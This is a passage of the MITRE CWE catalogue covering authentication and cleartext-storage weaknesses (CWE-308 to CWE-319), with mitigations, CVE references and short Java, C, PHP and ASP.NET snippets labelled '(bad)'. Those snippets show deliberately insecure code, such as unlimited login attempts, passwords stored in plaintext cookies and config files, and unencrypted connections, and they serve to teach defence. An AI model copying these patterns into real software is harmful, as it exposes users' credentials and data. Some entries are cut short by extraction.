According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Configuration Checker

*Effectiveness = SOAR Partial*

#### **Architecture or Design Review**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = High*

### **Potential Mitigations**

#### **Phase: Architecture and Design**

Common protection mechanisms include: Disconnecting the user after a small number of failed attempts Implementing a timeout Locking out a targeted account Requiring a computational task on the user's part.

#### **Phase: Architecture and Design**

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator. [REF-45]

### **Demonstrative Examples**

#### **Example 1:**

In January 2009, an attacker was able to gain administrator access to a Twitter server because the server did not restrict the number of login attempts. The attacker targeted a member of Twitter's support team and was able to successfully guess the member's password using a brute force attack by guessing a large number of common words. Once the attacker gained access as the member of the support staff, he used the administrator panel to gain access to 33 accounts that

belonged to celebrities and politicians. Ultimately, fake Twitter messages were sent that appeared to come from the compromised accounts.

### Example 2:

The following code, extracted from a servlet's doPost() method, performs an authentication lookup every time the servlet is invoked.

Example Language: Java

(bad)

```
String username = request.getParameter("username");String password = request.getParameter("password"); int authResult = authenticateUser(username, password);
```

However, the software makes no attempt to restrict excessive authentication attempts.

### Example 3:

This code attempts to limit the number of login attempts by causing the process to sleep before completing the authentication.

Example Language: PHP

(bad)

```
$username = $_POST['username'];$password = $_POST['password'];sleep(2000);$isAuthenticated = authenticateUser($username, $password);
```

However, there is no limit on parallel connections, so this does not increase the amount of time an attacker needs to complete an attack.

### Example 4:

In the following C/C++ example the validateUser method opens a socket connection, reads a username and password from the socket and attempts to authenticate the username and password.

Example Language: C

(bad)

```
int validateUser(char *host, int port){ int socket = openSocketConnection(host, port);if (socket < 0) {printf("Unable to open socket connection");return(FAIL);} int isValidUser = 0;char username[USERNAME_SIZE];char password[PASSWORD_SIZE]; while (isValidUser == 0) { if (getNextMessage(socket, username, USERNAME_SIZE) > 0) {if (getNextMessage(socket, password, PASSWORD_SIZE) > 0) {isValidUser = AuthenticateUser(username, password);}} }return(SUCCESS); }
```

The validateUser method will continuously check for a valid username and password without any restriction on the number of authentication attempts made. The method should limit the number of authentication attempts made to prevent brute force attacks as in the following example code.

Example Language: C

(good)

```
int validateUser(char *host, int port){ ... int count = 0;while ((isValidUser == 0) && (count < MAX_ATTEMPTS)) { if (getNextMessage(socket, username, USERNAME_SIZE) > 0) {if (getNextMessage(socket, password, PASSWORD_SIZE) > 0) {isValidUser = AuthenticateUser(username, password);}count++; }if (isValidUser) {return(SUCCESS);}else {return(FAIL);} }
```

## Observed Examples

## CWE-308: Use of Single-factor Authentication

<b>Weakness ID</b> : 308	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The use of single-factor authentication can lead to unnecessary risk of compromise when compared with the benefits of a dual-factor authentication scheme.

### Extended Description

While the use of multiple authentication schemes is simply piling on more complexity on top of authentication, it is inestimably valuable to have such measures of redundancy. The use of weak, reused, and common passwords is rampant on the internet. Without the added protection of multiple authentication schemes, a single mistake can result in the compromise of an account. For this reason, if multiple schemes are possible and also easy to use, they should be implemented and required.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	B	654	Reliance on a Single Factor in a Security Decision	1201
ChildOf	C	287	Improper Authentication	599
PeerOf	B	309	Use of Password System for Primary Authentication	649
PeerOf	B	309	Use of Password System for Primary Authentication	649

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	C	1010	Authenticate Actors	1650

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf	C	287	Improper Authentication	599

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism <i>If the secret in a single-factor authentication scheme gets compromised, full authentication is possible.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Use multiple independent authentication schemes, which ensures that -- if one of the methods is compromised -- the system itself is still likely safe from compromise.

### Demonstrative Examples

#### Example 1:

In both of these examples, a user is logged in if their given password matches a stored password:

*Example Language: C*

*(bad)*

```
unsigned char *check_passwd(char *plaintext) {ctext = simple_digest("sha1",plaintext,strlen(plaintext), ...); //Login if hash matches stored hash if (equal(ctext, secret_password())) {login_user();}}
```

*Example Language: Java*

*(bad)*

```
String plainText = new String(plainTextIn);MessageDigest encer = MessageDigest.getInstance("SHA");encer.update(plainTextIn);byte[] digest = password.digest(); //Login if hash matches stored hash if (equal(digest,secret_password())) {login_user();}
```

This code fails to incorporate more than one method of authentication. If an attacker can steal or guess a user's password, they are given full access to their account. Note this code also exhibits CWE-328 (Reversible One-Way Hash) and CWE-759 (Use of a One-Way Hash without a Salt).

### MemberOf Relationships

## CWE-309: Use of Password System for Primary Authentication

**Weakness ID :** 309

**Status:** Draft

**Structure :** Simple

**Abstraction :** Base

### Description

The use of password systems as the primary means of authentication may be subject to several flaws or shortcomings, each reducing the effectiveness of the mechanism.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	B	654	Reliance on a Single Factor in a Security Decision	1201
ChildOf	C	287	Improper Authentication	599
PeerOf	B	308	Use of Single-factor Authentication	647
PeerOf	V	262	Not Using Password Aging	550
PeerOf	B	308	Use of Single-factor Authentication	647

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf	C	287	Improper Authentication	599

### Applicable Platforms

**Language :** Language-Independent (*Prevalence = Undetermined*)

### Background Details

Password systems are the simplest and most ubiquitous authentication mechanisms. However, they are subject to such well known attacks, and such frequent compromise that their use in the most simple implementation is not practical.

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity	
	<i>A password authentication mechanism error will almost always result in attackers being authorized as valid users.</i>	

## Potential Mitigations

### Phase: Architecture and Design

In order to protect password systems from compromise, the following should be noted: Passwords should be stored safely to prevent insider attack and to ensure that -- if a system is compromised -- the passwords are not retrievable. Due to password reuse, this information may be useful in the compromise of other systems these users work with. In order to protect these passwords, they should be stored encrypted, in a non-reversible state, such that the original text password cannot be extracted from the stored value. Password aging should be strictly enforced to ensure that passwords do not remain unchanged for long periods of time. The longer a password remains in use, the higher the probability that it has been compromised. For this reason, passwords should require refreshing periodically, and users should be informed of the risk of passwords which remain in use for too long. Password strength should be enforced intelligently. Rather than restrict passwords to specific content, or specific length, users should be encouraged to use upper and lower case letters, numbers, and symbols in their passwords. The system should also ensure that no passwords are derived from dictionary words.

### Phase: Architecture and Design

Use a zero-knowledge password protocol, such as SRP.

### Phase: Architecture and Design

Ensure that passwords are stored safely and are not reversible.

### Phase: Architecture and Design

Implement password aging functionality that requires passwords be changed after a certain point.

### Phase: Architecture and Design

Use a mechanism for determining the strength of a password and notify the user of weak password use.

### Phase: Architecture and Design

Inform the user of why password protections are in place, how they work to protect data integrity, and why it is important to heed their warnings.

## Demonstrative Examples

### Example 1:

In both of these examples, a user is logged in if their given password matches a stored password:

*Example Language: C*

*(bad)*

```
unsigned char *check_passwd(char *plaintext) {ctext = simple_digest("sha1",plaintext,strlen(plaintext), ...); //Login if hash matches stored hash if (equal(ctext, secret_password())) {login_user();}}
```

*Example Language: Java*

*(bad)*

```
String plainText = new String(plainTextIn);MessageDigest encer = MessageDigest.getInstance("SHA");encer.update(plainTextIn);byte[] digest = password.digest(); //Login if hash matches stored hash if (equal(digest,secret_password())) {login_user();}
```

This code fails to incorporate more than one method of authentication. If an attacker can steal or guess a user's password, they are given full access to their account. Note this code also exhibits CWE-328 (Reversible One-Way Hash) and CWE-759 (Use of a One-Way Hash without a Salt).

## CWE-311: Missing Encryption of Sensitive Data

<b>Weakness ID</b> : 311	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The software does not encrypt sensitive or critical information before storage or transmission.

### Extended Description

The lack of proper data encryption passes up the guarantees of confidentiality, integrity, and accountability that properly implemented encryption conveys.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ParentOf	V	312	Cleartext Storage of Sensitive Information	658
ParentOf	V	319	Cleartext Transmission of Sensitive Information	670
ParentOf	V	614	Sensitive Cookie in HTTPS Session Without 'Secure' Attribute	1140

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data  <i>If the application does not use a secure channel, such as SSL, to exchange sensitive information, it is possible for an attacker with access to the network traffic to sniff packets from the connection and uncover the data. This attack is not technically difficult, but does require physical access to some portion of the network over which the sensitive data travels. This access is usually somewhere near where the user is connected to the network (such as a colleague on the company network) but can be anywhere along the path from the user to the end server.</i>	
Confidentiality Integrity	Modify Application Data  <i>Omitting the use of encryption in any program which transfers data over a network of any kind should be considered on par with delivering the data sent to each user on the local networks of both the sender and receiver. Worse, this omission allows for the injection of data into a stream of communication between two parties -- with no means for the victims to separate valid data from invalid. In this day of widespread network attacks and password collection sniffers, it is an unnecessary risk to omit encryption from the design of any system which might benefit from it.</i>	

### Detection Methods

#### Manual Analysis

The characterization of sensitive data often requires domain-specific understanding, so manual methods are useful. However, manual efforts might not achieve desired code coverage within limited time constraints. Black box methods may produce artifacts (e.g. stored data or unencrypted network transfer) that require manual evaluation.

*Effectiveness = High*

#### Automated Analysis

Automated measurement of the entropy of an input/output source may indicate the use or lack of encryption, but human analysis is still required to distinguish intentionally-unencrypted data (e.g. metadata) from sensitive data.

#### Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

*Effectiveness = SOAR Partial*

### **Dynamic Analysis with Automated Results Interpretation**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

*Effectiveness = SOAR Partial*

### **Dynamic Analysis with Manual Results Interpretation**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Network Sniffer Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer Automated Monitored Execution Man-in-the-middle attack tool

*Effectiveness = High*

### **Manual Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

*Effectiveness = High*

### **Automated Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Context-configured Source Code Weakness Analyzer

*Effectiveness = SOAR Partial*

### **Architecture or Design Review**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction Cost effective for partial coverage: Attack Modeling

*Effectiveness = High*

## **Potential Mitigations**

### **Phase: Requirements**

Clearly specify which data or resources are valuable enough that they should be protected by encryption. Require that any transmission or storage of this data/resource should use well-vetted encryption algorithms.

### **Phase: Architecture and Design**

Ensure that encryption is properly integrated into the system design, including but not necessarily limited to: Encryption that is needed to store or transmit private data of the users of the system Encryption that is needed to protect the system itself from unauthorized disclosure or tampering Identify the separate needs and contexts for encryption: One-way (i.e., only the user or recipient needs to have the key). This can be achieved using public key cryptography, or other techniques in which the encrypting party (i.e., the software) does not need to have access to a private key. Two-way (i.e., the encryption can be automatically performed on behalf of a user, but the key must be available so that the plaintext can be automatically recoverable by that user). This requires storage of the private key in a format that is recoverable only by the user (or perhaps by the operating system) in a way that cannot be recovered by others. Using threat modeling or other techniques, assume that data can be compromised through a separate vulnerability or weakness, and determine where encryption will be most effective. Ensure that data that should

be private is not being inadvertently exposed using weaknesses such as insecure permissions (CWE-732). [REF-7]

**Phase: Architecture and Design**

*Strategy = Libraries or Frameworks*

When there is a need to store or transmit sensitive data, use strong, up-to-date cryptographic algorithms to encrypt that data. Select a well-vetted algorithm that is currently considered to be strong by experts in the field, and use well-tested implementations. As with all cryptographic mechanisms, the source code should be available for analysis. For example, US government systems require FIPS 140-2 certification. Do not develop custom or private cryptographic algorithms. They will likely be exposed to attacks that are well-understood by cryptographers. Reverse engineering techniques are mature. If the algorithm can be compromised if attackers find out how it works, then it is especially weak. Periodically ensure that the cryptography has not become obsolete. Some older algorithms, once thought to require a billion years of computing time, can now be broken in days or hours. This includes MD4, MD5, SHA1, DES, and other algorithms that were once regarded as strong. [REF-267]

**Phase: Architecture and Design**

*Strategy = Separation of Privilege*

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

**Phase: Implementation****Phase: Architecture and Design**

When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.

**Phase: Implementation**

*Strategy = Attack Surface Reduction*

Use naming conventions and strong types to make it easier to spot when sensitive data is being used. When creating structures, objects, or other complex entities, separate the sensitive and non-sensitive data as much as possible.

*Effectiveness = Defense in Depth*

*This makes it easier to spot places in the code where data is being used that is unencrypted.*

**Demonstrative Examples****Example 1:**

This code writes a user's login information to a cookie so the user does not have to login again later.

*Example Language: PHP*

*(bad)*

```
function persistLogin($username, $password){$data = array("username" => $username, "password"=> $password);setcookie ("userdata", $data);}
```

The code stores the user's username and password in plaintext in a cookie on the user's machine. This exposes the user's login information if their computer is compromised by an attacker. Even

if the user's machine is not compromised, this weakness combined with cross-site scripting (CWE-79) could allow an attacker to remotely copy the cookie.

Also note this example code also exhibits Plaintext Storage in a Cookie (CWE-315).

### Example 2:

The following code attempts to establish a connection, read in a password, then store it to a buffer.

Example Language: C

(bad)

```
server.sin_family = AF_INET; hp = gethostbyname(argv[1]);if (hp==NULL) error("Unknown host");memcpy( (char *)&server.sin_addr,(char *)hp->h_addr,hp->h_length);if (argc < 3) port = 80;else port = (unsigned short)atoi(argv[3]);server.sin_port = htons(port);if (connect(sock, (struct sockaddr *)&server, sizeof server) < 0) error("Connecting");...while ((n=read(sock,buffer,BUFSIZE-1))!=-1) { write(dfd,password_buffer,n);...
```

While successful, the program does not encrypt the data before writing it to a buffer, possibly exposing it to unauthorized actors.

### Example 3:

The following code attempts to establish a connection to a site to communicate sensitive information.

Example Language: Java

(bad)

```
try {URL u = new URL("http://www.secret.example.org/");URLConnection hu = (URLConnection) u.openConnection();hu.setRequestMethod("PUT");hu.connect();OutputStream os = hu.getOutputStream();hu.disconnect();}catch (IOException e) { //... }
```

Though a connection is successfully made, the connection is unencrypted and it is possible that all sensitive data sent to or received from the server will be read by unintended actors.

## Observed Examples

Reference	Description
<b>CVE-2009-2272</b>	password and username stored in cleartext in a cookie <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2272">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2272</a>

### Notes

#### Relationship

There is an overlapping relationship between insecure storage of sensitive information (CWE-922) and missing encryption of sensitive information (CWE-311). Encryption is often used to prevent an attacker from reading the sensitive data. However, encryption does not prevent the attacker from erasing or overwriting the data.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Failure to encrypt data
OWASP Top Ten 2007	A8	CWE More Specific	Insecure Cryptographic Storage
OWASP Top Ten 2007	A9	CWE More Specific	Insecure Communications
OWASP Top Ten 2004	A8	CWE More Specific	Insecure Storage
WASC	4		Insufficient Transport Layer Protection
CERT Java Secure Coding	MSC00-J		Use SSLSocket rather than Socket for secure data exchange
Software Fault Patterns	SFP23		Exposed Data

## CWE-312: Cleartext Storage of Sensitive Information

**Weakness ID** : 312

**Status**: Draft

**Structure** : Simple

**Abstraction** : Variant

### Description

The application stores sensitive information in cleartext within a resource that might be accessible to another control sphere.

### Extended Description

Because the information is stored in cleartext, attackers could potentially read it. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		922	Insecure Storage of Sensitive Information	1493
ChildOf		311	Missing Encryption of Sensitive Data	651
ParentOf		313	Cleartext Storage in a File or on Disk	661
ParentOf		314	Cleartext Storage in the Registry	663
ParentOf		315	Cleartext Storage of Sensitive Information in a Cookie	664
ParentOf		316	Cleartext Storage of Sensitive Information in Memory	666
ParentOf		317	Cleartext Storage of Sensitive Information in GUI	668
ParentOf		318	Cleartext Storage of Sensitive Information in Executable	669

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1013	Encrypt Data	1654

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		922	Insecure Storage of Sensitive Information	1493
ChildOf		311	Missing Encryption of Sensitive Data	651

ParentOf		317	Cleartext Storage of Sensitive Information in GUI	668
ParentOf		318	Cleartext Storage of Sensitive Information in Executable	669

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

**Paradigm** : Mobile (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
	<i>An attacker with access to the system could read sensitive information stored in cleartext.</i>	

### Demonstrative Examples

#### Example 1:

The following code excerpt stores a plaintext user account ID in a browser cookie.

*Example Language: Java*

*(bad)*

```
response.addCookie( new Cookie("userAccountID", acctID);
```

Because the account ID is in plaintext, the user's account information is exposed if their computer is compromised by an attacker.

#### Example 2:

This code writes a user's login information to a cookie so the user does not have to login again later.

*Example Language: PHP*

*(bad)*

```
function persistLogin($username, $password){$data = array("username" => $username, "password"=>
$password);setcookie ("userdata", $data);}
```

The code stores the user's username and password in plaintext in a cookie on the user's machine. This exposes the user's login information if their computer is compromised by an attacker. Even if the user's machine is not compromised, this weakness combined with cross-site scripting (CWE-79) could allow an attacker to remotely copy the cookie.

Also note this example code also exhibits Plaintext Storage in a Cookie (CWE-315).

#### Example 3:

The following code attempts to establish a connection, read in a password, then store it to a buffer.

*Example Language: C*

*(bad)*

```
server.sin_family = AF_INET; hp = gethostbyname(argv[1]);if (hp==NULL) error("Unknown host");memcpy( (char
*)&server.sin_addr,(char *)hp->h_addr,hp->h_length);if (argc < 3) port = 80;else port = (unsigned
short)atoi(argv[3]);server.sin_port = htons(port);if (connect(sock, (struct sockaddr *)&server, sizeof server) < 0)
error("Connecting");...while ((n=read(sock,buffer,BUFSIZE-1))!=-1) { write(dfid,password_buffer,n);...
```

While successful, the program does not encrypt the data before writing it to a buffer, possibly exposing it to unauthorized actors.

#### Example 4:

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in plaintext.

This Java example shows a properties file with a plaintext username / password pair.

*Example Language: Java*

*(bad)*

```
# Java Web App ResourceBundle properties
file ...webapp.ldap.username=secretUsernamewebapp.ldap.password=secretPassword...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in plaintext.

Example Language: ASP.NET

(bad)

```
...<connectionStrings><add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;" providerName="System.Data.Odbc" /></connectionStrings>...
```

Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information and avoid CWE-260 and CWE-13.

### Observed Examples

Reference	Description
<b>CVE-2009-2272</b>	password and username stored in cleartext in a cookie <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2272">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2272</a>

Reference	Description
<b>CVE-2005-2160</b>	Authentication information stored in cleartext in a cookie. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2160">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2160</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	816	OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage	809	1587
MemberOf	V	884	CWE Cross-section	884	1681
MemberOf	C	934	OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure	928	1618
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1627
MemberOf	C	1029	OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure	1026	1662

### Notes

#### Terminology

Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).

### Taxonomy Mappings

## CWE-313: Cleartext Storage in a File or on Disk

<b>Weakness ID</b> : 313	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

The application stores sensitive information in cleartext in a file, or on disk.

## Extended Description

The sensitive information could be read by attackers with access to the file, or with physical or administrator access to the raw disk. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1013	Encrypt Data	1654

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		312	Cleartext Storage of Sensitive Information	658

## Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

## Demonstrative Examples

### Example 1:

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext.

This Java example shows a properties file with a cleartext username / password pair.

*Example Language: Java*

*(bad)*

```
# Java Web App ResourceBundle properties
file ...webapp.ldap.username=secretUsernamewebapp.ldap.password=secretPassword...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext.

*Example Language: ASP.NET*

*(bad)*

```
...<connectionStrings><add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;" providerName="System.Data.Odbc" /></connectionStrings>...
```

Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information and avoid CWE-260 and CWE-13

## Observed Examples

Reference	Description
<b>CVE-2001-1481</b>	Cleartext credentials in world-readable file. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1481">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1481</a>
<b>CVE-2005-1828</b>	Password in cleartext in config file. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1828">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1828</a>
<b>CVE-2005-2209</b>	Password in cleartext in config file. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2209">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2209</a>
<b>CVE-2002-1696</b>	Decrypted copy of a message written to disk given a combination of options and when user replies to an encrypted message. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1696">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1696</a>
<b>CVE-2004-2397</b>	Cleartext storage of private key and passphrase in log file when user imports the key. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2397">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2397</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		963	SFP Secondary Cluster: Exposed Data	888	1627

### Notes

#### Terminology

Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).

## CWE-314: Cleartext Storage in the Registry

<b>Weakness ID</b> : 314	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

The application stores sensitive information in cleartext in the registry.

### Extended Description

Attackers can read the information by accessing the registry key. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-315: Cleartext Storage of Sensitive Information in a Cookie

**Weakness ID** : 315

**Status**: Draft

**Structure** : Simple

**Abstraction** : Variant

## Description

The application stores sensitive information in cleartext in a cookie.

## Extended Description

Attackers can use widely-available tools to view the cookie and read the sensitive information. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-316: Cleartext Storage of Sensitive Information in Memory

**Weakness ID** : 316

**Status**: Draft

**Structure** : Simple

**Abstraction** : Variant

### Description

The application stores sensitive information in cleartext in memory.

### Extended Description

The sensitive memory might be saved to disk, stored in a core dump, or remain uncleared if the application crashes, or if the programmer does not properly clear the memory before freeing it. It could be argued that such problems are usually only exploitable by those with administrator privileges. However, swapping could cause the memory to be written to disk and leave it accessible to physical attack afterwards. Core dump files might have insecure permissions or be stored in archive files that are accessible to untrusted people. Or, uncleared sensitive memory might be inadvertently exposed to attackers due to another weakness.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-317: Cleartext Storage of Sensitive Information in GUI

**Weakness ID** : 317**Status**: Draft**Structure** : Simple**Abstraction** : Variant

### Description

The application stores sensitive information in cleartext within the GUI.

### Extended Description

An attacker can often obtain data from a GUI, even if hidden, by using an API to directly access GUI objects such as windows and menus. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-318: Cleartext Storage of Sensitive Information in Executable

<b>Weakness ID</b> : 318	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

The application stores sensitive information in cleartext in an executable.

### Extended Description

Attackers can reverse engineer binary code to obtain secret data. This is especially easy when the cleartext is plain ASCII. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

65	Sniff Application Code

## CWE-319: Cleartext Transmission of Sensitive Information

<b>Weakness ID</b> : 319	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

The software transmits sensitive or security-critical data in cleartext in a communication channel that can be sniffed by unauthorized actors.

### Extended Description

Many communication channels can be "sniffed" by attackers during data transmission. For example, network traffic can often be sniffed by any attacker who has access to a network interface. This significantly lowers the difficulty of exploitation by attackers.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

